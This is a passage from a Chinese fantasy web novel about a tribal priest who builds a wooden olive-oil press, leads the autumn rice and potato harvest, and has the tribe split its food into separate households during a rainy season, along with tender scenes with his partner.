岩知乐挠了挠头,“油脂通过挤压渗出来,用什么压?我们坐上去压吗?” “这两根棍子是做什么用的?”来帮忙的巨盛夏问道。 两人问的算是同一个问题,花时安推开背篓里沉甸甸的厚木板,埋头翻找片刻,拿出两根小臂长、两端削成弧形,中间钻出圆孔的短木棍。 如果说工具两侧带有螺纹的木棍是两颗螺丝钉,那么花时安手中的短木棍就是两颗螺帽。螺帽拧在螺丝上,通过不断旋转收紧,串在螺丝钉之上,螺帽之下的木板也就会越来越紧。 原理很简单,说起来却很复杂,说再多不如亲眼看一遍,正好工具也擦干净了,花时安撑着酸痛的腰杆站起身,又从背篓里拿出四个圆形芦苇编制品,“先榨,看一遍大家应该就明白了。” 四个芦苇编制品是他连夜编出来的油饼容器,乍一看像一个小号菜篮子,不过位于顶端的开口很小,也就一个拳头大。因为是芦苇编织的,容器并不硬,甚至软趴趴的,一按就扁。 新鲜玩意儿一拿出来,岩知乐又开始追问用途,花时安没搭理他,让人把腌制好的果泥连盆端过来,随即用木勺舀起油光锃亮的果泥,小心翼翼地倒入容器中。 容器不用装太满,以防渗出果渣,装一多半果泥即可。 最后四个容器依次装上果泥,铺平后一个叠一个放在凹槽中间,接下来便可将提前钻好孔的木板放上去。 熟橄榄出油率相当感人,油饼刚放上去,还没开始榨就渗出了清澈透明的橄榄油,眼看珍贵的植物油就要沿着缺口流到地上,花时安忙地叫人拿来陶罐,及时接住橄榄油。 提前凿好孔的木板串在螺纹木棍上、平铺在油饼之上,完美契合木棍的木螺帽平稳放下去,旋着螺纹向下拧动,油槽顿时化作山间潺潺流淌的小溪。 晶莹剔透的橄榄油淹没油槽,沿着出油口哗哗往下流,被橄榄油冲刷的陶罐“咚咚”作响,浓郁而醇厚的油香迅速蔓延开,让人忍不住洗鼻子,捕捉更多的气息。 “好香啊,好特别的味道,”岩知乐猛猛吸鼻子,捏着下巴认真点评:“有种青草捣碎了塞我嘴巴里的感觉。” “青草味?我怎么没闻到,我只闻到了油香味儿。” 长月月目不转睛地盯着出油口,眼底兴奋满得快要溢出来,如自言自语般喃喃道:“原来榨油工具是这样用的,真的好神奇,好方便,毫不费力就把油给榨出来了,不愧是我们的祭司大人!” “那当然,祭司大人可是部落最聪明的人!” “有个词怎么说的来着?祭司大人以前夸兰姐的时候说的,心灵、心灵什么什么的。” “心灵手巧,祭司大人是个心灵手巧的亚兽人!” …… 众人七嘴八舌地议论着,夸赞工具、夸赞祭司大人。 花时安没有接话,慢条斯理地拧动木螺帽,盯着陶罐中越来越多的橄榄油,嘴角高高扬起,眉眼含笑。 要吃上植物油了,真是个令人心情愉悦的好消息,往后就算狩猎队没抓到猎物,部落也能吃上油。而且植物油比动物油脂更方便实用,炸煎炖炒都能放,还可以与辣椒粉融合,做出凉拌菜的灵魂调料——油泼辣子。 唯一的遗憾,热榨橄榄油与花时安以前吃过的生榨橄榄油有所不同,生榨橄榄油色泽清亮,多呈现黄绿色,味道浓郁,有“液体黄金”之名;热榨橄榄油质地更清澈,颜色是偏淡的浅金色,香味也偏淡。 口感上热榨就更比不上生榨,缺乏层次感,油脂感更明显,但这出油率真的出乎花时安的意料,四个油饼也就半盆果泥,榨出来的油一个陶罐居然装不下。 要是每盆果泥都有这个量,他们今天的收获榨个几十罐油不成问题。 如今正是油橄榄成熟的季节,往后外出多多留意,尽可能地多摘橄榄。等榨完油闲下来时,抽空去森林里剪些橄榄树枝、挖些小树苗回来,扦插在部落四周。 三年挂果,五年盛果,部落迟早能实现橄榄油自由。 食用油的问题解决了,食物的问题也快了。 连续十多个大晴天,水田里本就开始泛黄的谷穗在暴晒中彻底黄透,前些天还爆浆的谷粒陆续变硬,藏着谷壳里的米粒呈透明蜡质状,水稻已进入完熟初期——最佳收割期。 蓝莓蔓越莓大量变色,土豆茎叶自然枯黄,面瓜表皮变色、瓜蒂逐渐干枯,就连后面种下去、生长期相对较短的玉米、花生、黄豆等作物也陆续进入成熟期。 一夜之间,整个部落都忙起来了,堆积成山的油橄榄还没处理完,花时安又急急忙忙带着族人赶制工具。收割要用到的镰刀、刈刀;作物脱粒要用到的搭斗、连枷;清选时用的竹筛、风车;储存要用到的箩筐、棕绳编织袋…… 大门不出二门不迈,每天眼睛一睁就是捣鼓各类工具,起早贪黑地忙活了整整两天,终于,收割作物所需要的工具全部备齐。 秋收明天就要开始了,夜里躺在床上,花时安兴奋地睡不着,忍不住胡思乱想。 初入巨树森林的迷茫仍历历在目,居无定所,食不果腹,但仅仅不到一年的时间,搬离树洞住进温馨舒适的木屋,维系生存的坚果、只有一点咸味的水煮菜渐渐变成了美味可口的家常菜,能炒能炖能煮,隔三岔五还能吃顿肉。 而再过不久,田间作物陆续收回来后,他们的主食将会从各种杂食变成香喷喷的米饭、筋道Q弹的面食。 五谷杂粮可发挥的空间非常大,直接食用已是美味,还可与其他食材融合,烹饪出更加可口的美食。比如最近吃到犯恶心,狗看了都摇头的南瓜,掺在新鲜的稻米中可变成南瓜粥,南瓜干饭;掺在面粉中可蒸出蓬松暄软的馒头、外酥里软的南瓜饼。 越想越精神,花时安脑海中闪过一道道美食:米蒸糕、米花糖、刀削面、包子馒头、馅饼、水煮玉米、玉米饼、玉米糊糊、麻婆豆腐、辣椒炒豆干…… 还有他最怀念,最最最想吃的一道美食——箜干饭。 豆角土豆粒加肉粒一同炒香,将滤干水分的夹生饭倒入锅中,少许清水沿着锅边淋一圈,用筷子扎出透气孔,盖上锅盖闷上半小时。 时间一到,揭开锅盖,快速将菜饭翻炒均匀,肉粒中渗出的油水包裹着每一粒米,土豆与豆角香气完美融入米饭中,晶莹剔透、粒粒分明,简直是又香又管饱。 不用另外准备菜,花时安一个人都能干两碗,饭后还能喝一碗米汤。 饿了,吃完晚饭分明还没多久,但这一通脑补直接给花时安整饿了,躺在床上翻来覆去直咽口水,恨不得连夜爬起来收稻谷。 似乎咽口水的声音太大,身侧熟睡的兽人翻了个身,从平躺换成侧躺,揽着花时安的肩膀将他带进怀里,迷迷糊糊地嘀咕:“怎么还没睡?哪里不舒服吗?” 白天干活累坏了,回到家莫淮山沾床就睡着了,不想半夜拉着他闲聊,耽误他休息,但花时安实在亢奋,在他怀里拱了两下,低声道:“没有不舒服,就是……想到明天要收稻谷,我兴奋地睡不着觉。” 怎么跟小孩一样。 莫淮山低低笑了一声,“时安是不是喜欢吃稻谷?” “喜欢,但你这个说法不对。稻谷要去壳后才能食用,去了壳就不叫稻谷了,叫米,之前不是总说吃饭吃饭嘛,这个饭其实就是米饭。”精神抖擞,花时安逮着什么都能聊一会儿。 莫淮山惯着他,尽管困得眼睛都睁不开,依旧有一搭没一搭地接话:“那时安喜欢的米饭是什么味道?好吃吗?” “可好吃了!”花时安搂着兽人的腰,埋在他颈侧絮絮叨叨:“米饭单独吃很香,有淡淡的甜味,不过一般没人单独吃米饭,会配上各种菜一块吃。最重要的呢,米饭非常顶饱,毫不夸张地说,一碗米饭顶两碗南瓜。” 莫淮山手臂抬高,手掌轻轻抚摸他的脑袋,“时安真厉害,什么都懂,什么都知道,听你说我都快想象到米饭的味道了。” 早就该坦白了,这是个机会,花时安眸光微沉,牙齿轻咬下唇,“我也不是什么都懂,淮山,其实我能准确说出米饭的味道,是因为我曾经——” “时安。” 似乎意识到什么,半梦半醒的莫淮山猛地睁开眼,突然打断他的话。 花时安懵了,好不容易下定决心,打算温水煮青蛙,一点点坦白自己的秘密,结果水还没下锅,自家伴侣却像是知道他要说什么一样,故意打断不让说。 这、这是为什么? 花时安想不明白,茫然从兽人怀里探出头,在黑暗中与他对视。 朦胧的夜色挡住了情绪,看不清对方到底何意,花时安嘴唇翕动,正要开口询问,可一个音节都没吐出来,炙热而柔软的唇瓣毫无征兆地覆了上来。 极具攻击性的吻,铁了心不让他说话,莫淮山灵巧的舌尖撬开齿关,温柔而又强势地探索,炽热的气息裹挟着淡淡的甜味在唇齿间流转。 粗粝的手掌扣住后脑勺,等到他被吻得说不出话,不再反抗,滑过背脊流连腰肢,轻轻将小时安握于掌心。 花时安身体猛地一僵,反应过来时已经来不及了,兽人暂放过他的嘴唇,偏头轻咬耳垂。温热的吐息喷洒在耳畔,与酥酥麻麻的痒意一同袭来的,还有对方低沉喑哑的嗓音: “反正也睡不着,我们来做点别的。” “不、不了吧,不早了,明天还要早起。” “没关系,我很快。” “你快个——轻、轻点,你韭菜吃多了吗!” …… 第122章 第 122 章 秋收 天蒙蒙亮, 花时安和莫淮山从床上爬起来,填饱肚子便匆匆往集合点走。起得比平常还早,花时安还以为他们来得最早,结果穿过草地, 沿着田坎走到水田旁边时, 族人早已到齐, 甚至把工具都搬了过来。 睡得晚又起了个大早,族人眼下黑眼圈一个比一个浓,但他们脸上丝毫看不到熬夜带来的困乏,反而精神抖擞,斗志昂扬,个个都跟打了鸡血似的。 “祭司大人!” “祭司大人来了!” 两人刚刚走上前, 安静的田坎一阵躁动,木族长越过族人风风火火地迎了上来,难掩激动地握住花时安的手,嘴巴咧到耳后根,“来了时安,大家都到齐了,快, 你看看今天怎么安排。” 没睡好, 脑袋瓜子懵懵的,木族长脸都笑僵了, 花时安才勉强找回点状态。 好在今天的安排早已在心中复盘过无数次, 花时安捂着嘴巴打了个哈欠,瓮声瓮气道:“稻谷、土豆、花生,这三种作物已经完全成熟了,现下工具也备齐了, 我们今天的任务就是把这些全部收回来。” “知道你们对新鲜事物比较感兴趣,都想来稻田里掺一脚,但今天事情比较多,大家只能分头行动。”花时安清了清嗓子,抬高嗓音:“月月,等下你带十个亚兽去收花生,具体怎么收前两天已经告诉你了,应该还记得吧?” “记得!”长月月从人群中探出头,声音洪亮。 花时安“嗯”了一声,又多交代了一句:“新鲜花生苗记得留下,回头剁碎可以当草料喂牲畜,那些泛黄晒蔫巴的花生苗直接铺在地里,到时候晒干水分当柴烧。” 长月月飞快点点头,“我记住了祭司大人。” 花生种得不算多,目测就两三亩地,十个人应该够了。 花时安捏着下巴琢磨片刻,缓缓将目光转向人群中面露期待的红映兰,“映兰,采集队再分十个人出来,剩下的你带着去挖土豆。土豆大家都熟悉,应该不会我教了,土豆苗和花生苗一样,新鲜的带回去,蔫巴的丢地里。” 没被安排到稻田里,红映兰略有些遗憾,但祭司大人把土豆地全权交给她,说明信任她。红映兰点头如啄米,连连应下:“放心吧祭司大人,我都记下了,我们会尽快把土豆收回来的。” 花生地和土豆地安排好人手,采集队还剩下十个人,这十个人极有可能被安排到稻田。岩知乐又看到了希望,激动地原地蹦起来,高声吆喝道:“祭司大人!那十个人里面能不能有我一个?” “你想吗?”花时安挑眉看了他一眼,嘴角噙着笑。 岩知乐:“想想想,特别想!” “我,我也想。” “祭司大人,算我一个嘛。” 话真没说错,都想在稻田里掺一脚,花时安抬手指向岩知乐,又指了几个蹦跶最欢的亚兽,不紧不慢道:“就你们十个吧。” 被手指到的亚兽乐开了花,兴奋地手舞足蹈,正准备和祭司大人道谢,花时安澄澈的眸子闪过一丝狡黠,抿着嘴唇哼笑一声,“岩知乐,这支十人小队交给你了,地里的蓝莓、辣椒、面瓜、蛇黄瓜也熟得七七八八了,背着背篓,带着他们挑熟的摘。” 笑意凝固在了脸上,兴奋到一半的岩知乐猛地顿住,一脸不可置信地看向花时安,“啊?不是,我们不是留在稻田嘛,怎么又——” “谁说留在稻田了?我说过吗?”花时安无辜地眨眨眼。 可恶,被耍了! 岩知乐还想再挣扎一下,不料木族长摆摆手,抢在他前头开口:“好了好了,让你们做什么就做什么,今天是收获的大日子,部落一切大小事,祭司大人说了算。” 上一秒还板着脸,下一秒面对花时安,木族长严肃的神情变作笑脸,笑得一脸谄媚,“祭司大人,花生土豆和果蔬都安排好了,那玉米和黄豆呢?是不是还要安排几个兽人过去?” 说到这,木族长上前半步,刻意压低嗓音道:“别把我安排过去啊,找不到人带队就找大族长,他比我年轻,比我有力气。” 花时安“扑哧”笑出声,“族长,你就把心放回肚子里吧,玉米和黄豆今天先不收,留在地里再长一段时间。” “为什么不收?你不是说成熟了吗?”木族长问。 花时安忍下笑意,认真解释道:“玉米和黄豆确实也算成熟了,但果实现在还比较嫩,收回去没办法储存。让它们继续在植株上生长一段时间,玉米粒和黄豆粒会慢慢变硬,晒干就能直接储存。” “不过也不用担心,这个状态的玉米黄豆已经可以吃了,大家要是馋了,咱们晚上忙活完去摘一些,煮上几锅,给大家尝尝鲜。” “哇,那必须尝尝啊!” “祭司大人亲自煮可以吗?” “玉米看着就好吃,嘿嘿,今晚尝尝。” “行了行了,别缠着祭司大人了,走走走,干活去!” …… 不让亚兽留在稻田是有原因的,水稻成熟之后,叶片变得锋利无比,仿佛无数把绿色小刀随微风摇曳。弯腰沿着根部进行收割时,无法避免叶片扫到手臂,皮糙肉厚的兽人还没事,顶多添几道红痕,但来个细皮嫩肉的人,一不留神就是几道口子。 当然,采集队起早贪黑往森林里跑,爬山、上树、钻灌木丛,干得也是辛苦活,毫不夸张地说,整个部落都找不出几个细皮嫩肉的人。 以防万一嘛,受伤始终不划算,花时安不想让他们遭罪。 割稻谷不算累,一割整整齐齐一茬,甚至十分解压,可昨晚被莫淮山折腾到半夜,花时安腰酸得要命,现在再弯着腰割上一会儿稻谷,简直不要太酸爽。 一人五行稻谷,速度快的兽人已经快割完了,花时安才割了簸箕大一块地。腰疼,实在干不动,瞅着谷堆也差不多了,花时安果断撂挑子不干,叫了几个身强力壮的兽人来抬搭斗。 搭斗是为稻谷脱粒准备的工具,其实就是一个半人高、长宽均在两米左右的方形木桶,但搭斗三面皆装着一人高的竹编挡席,因此看起来比较庞大。 割掉稻谷腾出一片空地,四个兽人将搭斗抬进稻田中,花时安也不多解释,弯腰捧起一捧稻束,待兽人将搭斗放平稳后,直接动手演示。 稻束高高举起,在空中划出一道优美的弧线,重重砸在搭斗内壁。随着“砰”地一声响,谷粒如同被风吹散的雨滴,四散飞溅开来。 “砰,砰,砰——” 似有节拍的敲打声中,金色谷粒脱离稻穗,“欻欻”落入搭斗,高高矗立的挡席化作铜墙铁壁,拦住那些不听话的,试图越狱的谷粒。 稻谷成熟后很容易脱粒,手轻轻一薅就能薅下来一把谷粒,更不用说这样暴力摔打。花时安只挥了十余下,稻束顶端的稻穗消失不见,只剩一把凌乱的稻草。 说做示范就只做示范,一把稻谷打完,花时安果断停手,俯身将稻草整齐堆在旁边,而后教兽人如何捆扎稻草、搭斗满了该如何处理…… 事无巨细地交代完,花时安挪开几步让出位置,霎时间,摩拳擦掌的兽人一拥而上,抱着稻束争先恐后地往搭斗跟前挤。 真有干劲,希望这股干劲维持久一些,花时安默默感慨。 脱粒看似简单轻松,一挥一拍便能将谷粒收入搭斗中,但部落种的水稻可不是一亩两亩,今天把稻谷全部收回来,保准儿明天兽人胳膊酸得抬都抬不起来。 站在旁边安静看了一会儿,确认族人脱粒方式无误,没有其他问题,花时安不声不响地走上田坎,溜了溜了。 整个部落都在为秋收忙碌,他也不可能真找个地方偷懒,于是离开稻田后,花时安又一头扎进了蓝莓地里,和岩知乐他们一块采收果蔬。 然而没摘上多久,田间劳作的兽人挑着箩筐,将颗颗饱满、粒粒金黄的稻谷运到草地。花时安见状立马放下摘到一半的辣椒,带着留守部落的老人伤患一同筛谷晾晒。 盛夏的余温仍弥漫在空气中,秋老虎携着热浪来势汹汹。河岸人影憧憧,勤劳的松鼠兽人不知疲倦,在田地中肆意挥洒汗水,脸上却洋溢着收获的喜悦。 稻谷过筛晾晒,如碎金平铺在晒簟上;裹着泥土的土豆塞进树洞,将木屋旁空置出来的树洞一个个填满;新鲜蔬菜与浆果搬到阴凉处,等待后续处理;同样裹着泥的花生背到河边洗净,铺在食堂阳台晾晒。 一刻不曾停歇,从雾蒙蒙的清晨到日暮西沉的傍晚。 声势浩大的秋收就像一束光,照亮曾因食物勒紧裤腰带的日子,从今往后,不必起早贪黑地挖野菜,不必以身试毒果,不必为减少消耗而变回兽形过冬。 下次揭开锅盖时,会是冒着热气的白米饭,会是蓬松暄软的馒头……总之,巨树森林一角,渺小而微不足道的穰穰部落改变了命运,不用再为食物发愁。 第123章 第 123 章 暴雨 天空沉闷而压抑, 铅灰色云团沉甸甸地压在头顶,最后一丝天光被吞噬得干干净净,明明才过晌午,周遭却暗得如同黄昏提前来临。 狂风大作, “呜呜呜”的风声穿透森林, 好似野兽嚎叫。杂草树叶被风吹得沙沙作响, 巨杉粗壮的树枝像被一双双无形的手攥住,使劲往一个方向拧。 土腥味越来越浓,枯枝落叶在半空中打着旋儿,横冲直撞,田间作物东倒西歪,辛勤劳作的人们被这突如其来的变故吓了一跳, 手忙脚乱地抬着工具、背着背篓,撒丫子往回跑。 暴风雨即将来袭,田里的人往回跑,屋里的人往外跑,霎时间,午后宁静的部落乱成一团,人影憧憧, 人声鼎沸。 “起风了, 下雨了,快快快, 抓紧时间把粮食收进屋!” “别往箩筐装, 来不及了,晒簟对折直接往回抬!” “不要慌不要乱,先收稻谷再收花生。” “动作快点,再跑快些, 还有簸箕里的辣椒干菜,全部收回去!” …… 运气还挺好,众人紧赶慢赶,赶在雨水落下来之前将稻谷和花生收进食堂,但运气似乎又不够好,再次出来收簸箕里的干货时,豆大的雨滴宛如从天而降的石子,“啪嗒啪嗒”的掉落下来。 雨点从稀疏到密集,仅用了短短几秒,眨眼便成了倾盆之势。哗啦啦的白噪声瞬间充斥着森林,细长的雨帘从天空垂到地面,层层水雾弥漫在半空中,天地间白茫茫一片。 不出意外,人和干货都被浇透了,冒着瓢泼大雨狼狈跑回食堂,花时安浑身湿透,小腿肚全是泥点子,头发还在往下滴水。 其他人也没好到哪里去,跟水里捞出来似的,一个比一个狼狈。 地板上全是水,晒簟箩筐、簸箕背篓全堆在屋里,又挤了好几十个人,食堂也是乱糟糟一团。看着眼前这一片狼藉,大族长头发都没心情擦了,皱着眉头直叹气。 “哎,这鬼天气!哎,这都叫什么事,刚才还红火大太阳,说变天就变天,说下雨就下雨,一点征兆都没有。” “哎!”木族长跟着叹了一口气,抬手胡乱在脸上抹了一把,“雨季是这样的,变天比变脸还快,没一点办法。不过我们运气还算不错,憋到粮食快收完才下雨,已是不幸中的万幸。” 顶着炎炎烈日忙活了两天半,这场声势浩大地秋收临近尾声。花生土豆尽数收回,成熟的新鲜果蔬陆续摘下,唯独需要用到搭斗脱粒的稻谷还未收完。 稻谷种得多,又只有三个搭斗,饶是兽人起早摸黑地干,抡稻束抡到胳膊冒烟,也无法用两天时间将全部稻谷脱粒带回。 不过还好,今天上午又在田里晒了半天,生长在水田里的稻谷已全部割完,剩下一些稻束没来得及脱粒,雨落下来时,兽人直接把稻束塞进搭斗里,一股脑抬了回来。 正如木族长所说,不幸中的万幸,突如其来的暴雨没有影响部落收获,但大族长依旧愁得不行,因为根据往年来看,这场雨只是掀开了帷幕,雨季才刚刚开始。 蹲下从晒簟中抓了一把谷粒,大族长摩挲着已然干燥的谷壳,缓缓抬头看向花时安,“祭司大人,前两天太阳比较大,我看这谷粒也干得差不多了,是不是能装袋储存了?” 雨一时半会停不了,花时安随手扯了把椅子坐在桌边,抬眸看向大族长,遗憾摇摇头,“一两天不够,就算是大太阳也至少要晒个五六天,不然里面的米粒干不透,时间长了会发霉。” “那花生呢?”大族长又问。 花时安言简意赅:“一样。” 这话一出,大族长本就拧着的眉头拧得更紧了,嘴唇张张合合好半晌,又是一声无奈地叹息:“哎,这、这该咋整呢?第一场秋雨落下来,往后十天半个月都是阴雨天,稻谷和花生又这般多,搁哪儿晾啊?” 一个关键问题把所有人都问住了,满满一屋子人,没一个人开口回答。众人你看看我,我看看你,不知如何是好,就连平常最爱出主意的兽人也噤了声。 部落能晾粮食的公共区域就只有一座食堂,虽然食堂够大,但族人还要在里面生活吃饭,真要用来晾粮食,那就只能晾在屋子外面的阳台上。 一圈阳台晾花生都够呛,稻谷就更不用说了。 还能忘哪晾呢?花时安心中早有答案,但这个提议就跟外面这场瓢泼大雨一样,很突然,他不知道族人能不能接受。 早分晚分,早晚也得分,不管了,花时安轻叩桌面打破沉默,待众人被声音吸引,循着声源望过来时,他深吸一口气,清了清嗓子道:“这个问题其实不难解决,大家的房屋差不多都盖好了,好些人都参考了我们家的木屋,在顶梁下面加盖了一层阁楼。” 大族长悟性极高,花时安话还没说完,他黯淡的眸子瞬间亮了起来,激动地两手一拍,“对哦,我差点给忘了!大家的房子都盖好了,有阁楼有阳台,把稻谷搬回家里晾不就完事了,天晴了再收回来!” “哎呀就是,我刚刚怎么没想到。” “我家又有阳台又有阁楼,可以晒好些粮食!” “还有我,我家也大。” 跟着树鼩部落一同归来,不明情况的族人纷纷附和。 光想着问题解决了,丝毫没留意到其他族人微妙的神情,大族长乐呵呵地笑了笑,扬着下巴道:“大家坐吧,坐下休息,等会儿雨小点了咱们把稻谷花生给抬过去。” “咳。”木族长轻咳一声,递给他一个意味深长的眼神。 大族长愣了一瞬,不懂就问:“咋了挤眉弄眼的?” 木族长一个白眼翻上天,“我懒得跟你说。” “嘿,”大族长脑袋一歪,“有话直说,别吊胃口。” “大族长,我来说吧。” 自己的提议自己善后,花时安撑着桌面站起身,转头对上大族长的视线,颇为郑重其事道:“我确实是这么想的,把稻谷花生晾在大家的木屋里,但不仅仅是晾晒,我的意思是像过冬那样,把这些天收获的粮食分发下去,各自带回家。” “各自带回家?可过冬分发下去的食物都是给族人带回去吃的,难道说……”大族长捏着下巴沉吟片刻,眉峰一挑,“哦,我懂了,花生稻谷太多不好打理,你的意思是分给族人,让族人各自在家晾晒,再进行筛选储存,然后要吃的时候再从家里拿出来?” 木族长:“哎哟的天。” 一个不肯直接说,一个又半天理解不到意思,木族长在一旁急得直挠头。 再这样聊下去雨停了都说不清楚,木族长忍不住了,直截了当道:“别瞎掰扯了,祭司大人的意思是分家,分家懂吗。之前和你提过一嘴的,简单来说就是分开吃分开住分开过日子,以后不来食堂吃饭了,大家把食材带回去,自个儿在家做饭吃!” 话音刚落,食堂立马躁动起来,大族长还没说话,不少族人急急忙忙追问: “除了过冬我们一直在一块吃饭,怎么突然要分开?” “分开吃分开过日子,以后我们不一块出门采集了?” “为什么要分开?我不想分家。” “别吧别分家,我们是一个部落,一个集体,就该一起吃饭一起干活。” “现在这样多好,祭司大人,我们不分家嘛。” …… 族人反应很大,你一言我一语,整个食堂闹哄哄一团,花时安想解释都找不到机会开口,最后还是木族长扯着嗓子大吼一声,族人这才慢慢安静下来。 耳根子清净了,木族长摆了摆手,主动接过花时安肩膀上的担子,为族人解释分家一事:“分家没你们说得那么夸张,我就说了个分开吃饭,怎么整得跟部落要解散了一样?” “分家真没那么复杂,我们还是要一同出门采集、一同出门狩猎、一起在田里劳作,然后像过冬一样,把每天的收获分发下去,各自带回家烹饪。” “听到分家就害怕是吧?那我给你们说说分家的好处。你们仔细想想,在食堂吃饭是不是全看厨房每天煮什么?前阵子南瓜都吃烦了吧,那是因为煮大锅饭麻烦,自己做饭就不一样了,想吃……” 像花时安曾经说服他们一样,木族长细数分家的好处,说单口相声似的,绘声绘色、絮絮叨叨好一阵儿。 他嘴皮子功夫可比花时安厉害多了,上嘴唇下嘴唇一碰,添油加醋一通润色,族人脸上的抗拒渐渐消失,一部分人眼底甚至盈出了期待,就连大族长紧蹙的眉头也缓缓舒展开。 大族长和族人陆续提出一些问题,如独身老人怎么办,不会做饭的人怎么办……木族长耐着性子答疑解惑,待到窗外雨声渐弱时,沉闷压抑的食堂变得轻松无比,一片其乐融融。 下雨天也干不了活,不如趁此机会把粮食分了,被木族长说服的大族长“啪啪”拍了两下手,扯着嗓子高声吆喝:“拿背篓拿箩筐过来,分家咯,分粮食咯!” 第124章 第 124 章 干噎面瓜 淅淅沥沥的小雨下不停, 沙沙的白噪声萦绕山野丛林,被雨水滋润的巨树森林如同从河水里捞出来的棉被,又潮又湿,使劲一拧甚至拧得出水。 高耸的房顶, 如鱼鳞般整齐排列的瓦片庇护着一方小天地, 屋外泥泞潮湿, 被雨水浇透,屋内却清清爽爽,整洁干净,睡醒躺在床上听着雨声,神仙般的日子不过如此。 盖房子、榨油、秋收……忙前忙后好一阵,终于能放松好好休息一下。这两天不用出门干活, 不用早起,花时安本想安心摆烂,一觉睡到自然醒,但万万没想到,可恶的生物钟准时将他唤醒。 睡也睡不着了,屋子还没收拾,一直躺着好像也不是个事儿, 花时安瞅了眼身侧空荡荡的竹床, 一个鲤鱼打挺坐起身,麻溜地穿衣服穿鞋。 分家分得很彻底, 杂七杂八的东西堆了满满一堂屋, 箩筐里金黄饱满的谷粒、背篓里圆鼓鼓的花生、桌子底下脑袋大的南瓜面瓜,还有新鲜蔬果、肉干鱼干菜干,以及放在墙角的桌椅板凳,一堆锅碗瓢盆, 油盐柴料…… 东西真多啊,打开门都无处下脚,花时安站在门口环视一圈,没看到人,正琢磨自家兽人跑哪去了,楼梯方向传来咚咚的脚步声。 扭头一看,除了自家兽人还能有谁。 莫淮山拿着扫帚从楼梯走下来,额头上挂着薄薄一层汗,看样子刚刚打扫完阁楼。四目相对,花时安勾起嘴角微微一笑,“好勤快呀,这么早就起来了,吃饭了吗?” “还没。”莫淮山诚实地摇摇头,顺手将扫帚靠在墙角,侧身穿过堂屋走到花时安面前,亲昵地揉了揉他的脑袋,“难得休息,怎么起得这么早?还没做饭呢,堂屋太乱了,我想着先把阁楼收拾干净,把稻谷花生晾上再去做饭,你再回屋睡会儿,乖,饭好了我叫你。” 一大早整这出,花时安心都化了,软绵绵地往莫淮山肩膀上一靠,小声埋怨道:“你就惯着我吧,小心惯坏了,以后吃饭都要让你喂。” “不用以后,现在就可以喂。”莫淮山轻笑一声,抬手挠了挠他的下巴,随后轻轻将人推开,“我身上都是汗,等下给你蹭脏了,去吧,回屋再睡会儿去。” 一点困意都没了,花时安果断摇摇头,“不睡了,天亮醒来之后就睡不着了。你把阳台和阁楼打扫干净了吗?顺道检查了没,没有漏雨吧?” 木屋建成后首次迎接雨季,莫淮山非常谨慎,一早起来就拿着扫帚跑上跑下,除了打扫,还里里外外仔细检查了一遍。 真是想到一块了,莫淮山抬手点了点花时安的鼻尖,“不用担心,我仔细检查了。昨晚下了一整晚雨,阁楼干干爽爽,一滴水都没有,阳台只是靠近护栏边有一点雨水,估计是风吹过来的。” “那就好,阳台上晾东西就往里面晾一点。”花时安捂着嘴打了个懒洋洋的哈欠,“肚子饿,我要去洗漱吃饭,然后收拾屋子。” “行,那你先去洗漱,我去把锅碗搬进厨房,马上给你做饭。”莫淮山一口应下,说着便要转身离开。 “欸,”花时安一把抓住他,“咱们早上随便吃点得了,东西还没收拾好,先不开火,省得麻烦。” 不开火?莫淮山回头环视一圈。 堂屋里大多都是生食,当然也有可以直接食用的,如花生、蓝莓、黄瓜之类的,但这类蔬果不顶饱,真要填饱肚子,估计得坐着吃上好一阵。 一个字没说,眼神已然问出了问题,花时安哼哼地笑,抓起莫淮山的手往堂屋走,“跟我来跟我来,吃好吃的去。” 面瓜混在青黄相间的南瓜堆里,几乎一模一样,不注意都认不出来,但用手轻轻一按,硬邦邦的就是南瓜,而按着有些软的就是面瓜。 有点馋了,挑了三个成熟度高的面瓜走进厨房,放在餐桌上,花时安徒手拔掉瓜蒂,揪着面瓜顶端的果皮缓缓往下撕。 完全成熟的面瓜很好去皮,一揪一撕,薄而轻盈的果皮像是黏性不高的胶带,轻轻松松掉下来一整张,非常解压。而撕掉粗糙的外皮,露出淡黄细腻的果肉,清香味随之弥漫出来。 面瓜果肉尤为细腻,乍一看好似那剥了壳的鸡蛋,格外光滑,但剥掉一半果皮后,花时安拿着勺子轻轻一戳,面瓜又变成了过熟的西瓜,沙沙的,面面的。 既是食物又是碗,勺子往面瓜里一戳,花时安一整个推给莫淮山,“诺,尝尝吧,味道可能比较淡,但沾着里面的瓜瓤吃还是很好吃的。” 面瓜和南瓜实在太像了,虽然花时安一直说面瓜可以生吃,但这……能好吃吗?莫淮山半信半疑地拿起勺子,舀了一勺软乎乎的面瓜递给花时安,“时安你先——” “不,你先吃,我还没漱口。”花时安玩味地看着他。 总感觉哪里怪怪的,又说不出到底哪里怪,莫淮山狐疑地看了花时安一眼,抱着伴侣不会害自己的想法,收回勺子将面瓜喂进嘴里。 果肉如沙般细腻,一嚼满口窜,淡淡的清香与淡淡的甜味萦绕齿间,正如花时安所说,有些淡,但味道确实还不错。 沙沙绵绵的果肉无需过多咀嚼,就在莫淮山放松警惕,嚼碎果肉往下咽时,突然发现了不对劲。 面瓜没什么水分,很干巴,在嘴里嚼的时候还察觉不出来,往下咽时却有种明显的阻塞感,像是一团沙子堵在了喉咙里,不上不下,特别噎人。 噎到了,真噎到了,兽人单手握拳猛捶胸口,脖子抻出二里地。罪魁祸首花时安乐得不行,给他递了杯水,又快步上前帮他捶背,笑得前俯后仰。 “哈哈哈,哈哈哈……” 边喝水边捶背,过了好一阵兽人才缓过劲。脸都憋红了,他泪眼朦胧地看着花时安,委屈地瘪着嘴,“时安,你又捉弄我。” 花时安强忍笑意,满眼无辜地与他对视,“哪有,面瓜本来就是这样吃的,我只是忘了提醒你,面瓜很干,要小口吃,不然容易噎着。” 真是这样吃的?莫淮山垂眸盯着面瓜,愁容满面,沉默半晌后挤出一句,“时安,要不我还是去生火做饭吧,这、这面瓜实在……” “那不行。”花时安举起食指晃了晃,“好吃也得吃,不好吃也得吃,辛辛苦苦种出来的,总不能丢了。” “倒也是。”莫淮山重重叹了一口气,重新拿起勺子。 不玩了,真饿了,花时安去隔壁洗漱一番,而后重新回到厨房,坐在莫淮山身旁,麻溜剥了一个面瓜。 其实他也没吃过面瓜,只是在网上看别人吃过,看博主脖子抻出二里地的样子就知道,这东西不是一般的噎。 有了前车之鉴,花时安格外谨慎,舀了指节大一勺果肉先尝尝味。这么一丁点当然不会被噎到,以至于尝到味儿,他胆子大了起来,稍微舀多了一点。 